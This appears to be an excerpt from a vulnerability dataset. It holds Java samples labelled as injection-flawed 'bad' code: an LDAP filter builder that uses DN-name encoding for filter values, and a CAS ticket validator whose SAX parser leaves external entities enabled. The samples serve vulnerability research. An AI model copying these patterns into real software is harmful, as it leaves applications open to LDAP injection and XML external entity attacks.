properties.put("%U", userDomain[0]);
if (userDomain.length > 1) {
properties.put("%d", userDomain[1]);
final String[] dcArray = userDomain[1].split("\\.");
for (int i = 0; i < dcArray.length; i++) {
properties.put("%" + (i + 1), dcArray[dcArray.length
- 1 - i]);
}
}
for (final String key : properties.keySet()) {
final String value = LdapEncoder.nameEncode(properties.get(key));
newFilter = newFilter.replaceAll(key, Matcher.quoteReplacement(value));
}
return newFilter;
}
/**
* Close the given context and ignore any thrown exception. This is useful
* for typical finally blocks in manual Ldap statements.
*
* @param context the Ldap context to close
*/
public static void closeContext(final DirContext context) {
if (context != null) {
try {
context.close();
} catch (NamingException ex) {
logger.warn("Could not close context", ex);
}
}
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/bad_1465_0
|
crossvul-java_data_bad_2195_1
|
/*
* Licensed to Jasig under one or more contributor license
* agreements. See the NOTICE file distributed with this work
* for additional information regarding copyright ownership.
* Jasig licenses this file to you under the Apache License,
* Version 2.0 (the "License"); you may not use this file
* except in compliance with the License. You may obtain a
* copy of the License at the following location:
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.jasig.cas.client.validation;
import java.io.StringReader;
import java.util.*;
import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import org.jasig.cas.client.authentication.AttributePrincipal;
import org.jasig.cas.client.authentication.AttributePrincipalImpl;
import org.jasig.cas.client.proxy.Cas20ProxyRetriever;
import org.jasig.cas.client.proxy.ProxyGrantingTicketStorage;
import org.jasig.cas.client.proxy.ProxyRetriever;
import org.jasig.cas.client.util.CommonUtils;
import org.jasig.cas.client.util.XmlUtils;
import org.xml.sax.Attributes;
import org.xml.sax.InputSource;
import org.xml.sax.SAXException;
import org.xml.sax.XMLReader;
import org.xml.sax.helpers.DefaultHandler;
/**
* Implementation of the TicketValidator that will validate Service Tickets in compliance with the CAS 2.
*
* @author Scott Battaglia
* @since 3.1
*/
public class Cas20ServiceTicketValidator extends AbstractCasProtocolUrlBasedTicketValidator {
/** The CAS 2.0 protocol proxy callback url. */
private String proxyCallbackUrl;
/** The storage location of the proxy granting tickets. */
private ProxyGrantingTicketStorage proxyGrantingTicketStorage;
/** Implementation of the proxy retriever. */
private ProxyRetriever proxyRetriever;
/**
* Constructs an instance of the CAS 2.0 Service Ticket Validator with the supplied
* CAS server url prefix.
*
* @param casServerUrlPrefix the CAS Server URL prefix.
* @param urlFactory URL connection factory to use when communicating with the server
*/
public Cas20ServiceTicketValidator(final String casServerUrlPrefix) {
super(casServerUrlPrefix);
this.proxyRetriever = new Cas20ProxyRetriever(casServerUrlPrefix, getEncoding(), getURLConnectionFactory());
}
/**
* Adds the pgtUrl to the list of parameters to pass to the CAS server.
*
* @param urlParameters the Map containing the existing parameters to send to the server.
*/
protected final void populateUrlAttributeMap(final Map<String, String> urlParameters) {
urlParameters.put("pgtUrl", encodeUrl(this.proxyCallbackUrl));
}
protected String getUrlSuffix() {
return "serviceValidate";
}
protected final Assertion parseResponseFromServer(final String response) throws TicketValidationException {
final String error = XmlUtils.getTextForElement(response, "authenticationFailure");
if (CommonUtils.isNotBlank(error)) {
throw new TicketValidationException(error);
}
final String principal = XmlUtils.getTextForElement(response, "user");
final String proxyGrantingTicketIou = XmlUtils.getTextForElement(response, "proxyGrantingTicket");
final String proxyGrantingTicket;
if (CommonUtils.isBlank(proxyGrantingTicketIou) || this.proxyGrantingTicketStorage == null) {
proxyGrantingTicket = null;
} else {
proxyGrantingTicket = this.proxyGrantingTicketStorage.retrieve(proxyGrantingTicketIou);
}
if (CommonUtils.isEmpty(principal)) {
throw new TicketValidationException("No principal was found in the response from the CAS server.");
}
final Assertion assertion;
final Map<String, Object> attributes = extractCustomAttributes(response);
if (CommonUtils.isNotBlank(proxyGrantingTicket)) {
final AttributePrincipal attributePrincipal = new AttributePrincipalImpl(principal, attributes,
proxyGrantingTicket, this.proxyRetriever);
assertion = new AssertionImpl(attributePrincipal);
} else {
assertion = new AssertionImpl(new AttributePrincipalImpl(principal, attributes));
}
customParseResponse(response, assertion);
return assertion;
}
/**
* Default attribute parsing of attributes that look like the following:
* <cas:attributes>
* <cas:attribute1>value</cas:attribute1>
* <cas:attribute2>value</cas:attribute2>
* </cas:attributes>
* <p>
*
* Attributes look like following also parsed correctly:
* <cas:attributes><cas:attribute1>value</cas:attribute1><cas:attribute2>value</cas:attribute2></cas:attributes>
* <p>
*
* This code is here merely for sample/demonstration purposes for those wishing to modify the CAS2 protocol. You'll
* probably want a more robust implementation or to use SAML 1.1
*
* @param xml the XML to parse.
* @return the map of attributes.
*/
protected Map<String, Object> extractCustomAttributes(final String xml) {
final SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setNamespaceAware(true);
spf.setValidating(false);
try {
final SAXParser saxParser = spf.newSAXParser();
final XMLReader xmlReader = saxParser.getXMLReader();
final CustomAttributeHandler handler = new CustomAttributeHandler();
xmlReader.setContentHandler(handler);
xmlReader.parse(new InputSource(new StringReader(xml)));
return handler.getAttributes();
} catch (final Exception e) {
logger.error(e.getMessage(), e);
return Collections.emptyMap();
}
}
/**
* Template method if additional custom parsing (such as Proxying) needs to be done.
*
* @param response the original response from the CAS server.
* @param assertion the partially constructed assertion.
* @throws TicketValidationException if there is a problem constructing the Assertion.
*/
protected void customParseResponse(final String response, final Assertion assertion)
throws TicketValidationException {
// nothing to do
}
public final void setProxyCallbackUrl(final String proxyCallbackUrl) {
this.proxyCallbackUrl = proxyCallbackUrl;
}
public final void setProxyGrantingTicketStorage(final ProxyGrantingTicketStorage proxyGrantingTicketStorage) {
this.proxyGrantingTicketStorage = proxyGrantingTicketStorage;
}
public final void setProxyRetriever(final ProxyRetriever proxyRetriever) {
this.proxyRetriever = proxyRetriever;
}
protected final String getProxyCallbackUrl() {
return this.proxyCallbackUrl;
}
protected final ProxyGrantingTicketStorage getProxyGrantingTicketStorage() {
return this.proxyGrantingTicketStorage;
}
protected final ProxyRetriever getProxyRetriever() {
return this.proxyRetriever;
}
private class CustomAttributeHandler extends DefaultHandler {
private Map<String, Object> attributes;
private boolean foundAttributes;
private String currentAttribute;
private StringBuilder value;
@Override
public void startDocument() throws SAXException {
this.attributes = new HashMap<String, Object>();
}
@Override
public void startElement(final String namespaceURI, final String localName, final String qName,
final Attributes attributes) throws SAXException {
if ("attributes".equals(localName)) {
this.foundAttributes = true;
} else if (this.foundAttributes) {
this.value = new StringBuilder();
this.currentAttribute = localName;
}
}
@Override
public void characters(final char[] chars, final int start, final int length) throws SAXException {
if (this.currentAttribute != null) {
value.append(chars, start, length);
}
}
@Override
public void endElement(final String namespaceURI, final String localName, final String qName)
throws SAXException {
if ("attributes".equals(localName)) {
this.foundAttributes = false;
this.currentAttribute = null;
} else if (this.foundAttributes) {
final Object o = this.attributes.get(this.currentAttribute);
if (o == null) {
this.attributes.put(this.currentAttribute, this.value.toString());
} else {
final List<Object> items;
if (o instanceof List) {
items = (List<Object>) o;
} else {
items = new LinkedList<Object>();
items.add(o);
this.attributes.put(this.currentAttribute, items);
}
items.add(this.value.toString());
}
}
}
public Map<String, Object> getAttributes() {
return this.attributes;
}
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/bad_2195_1
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.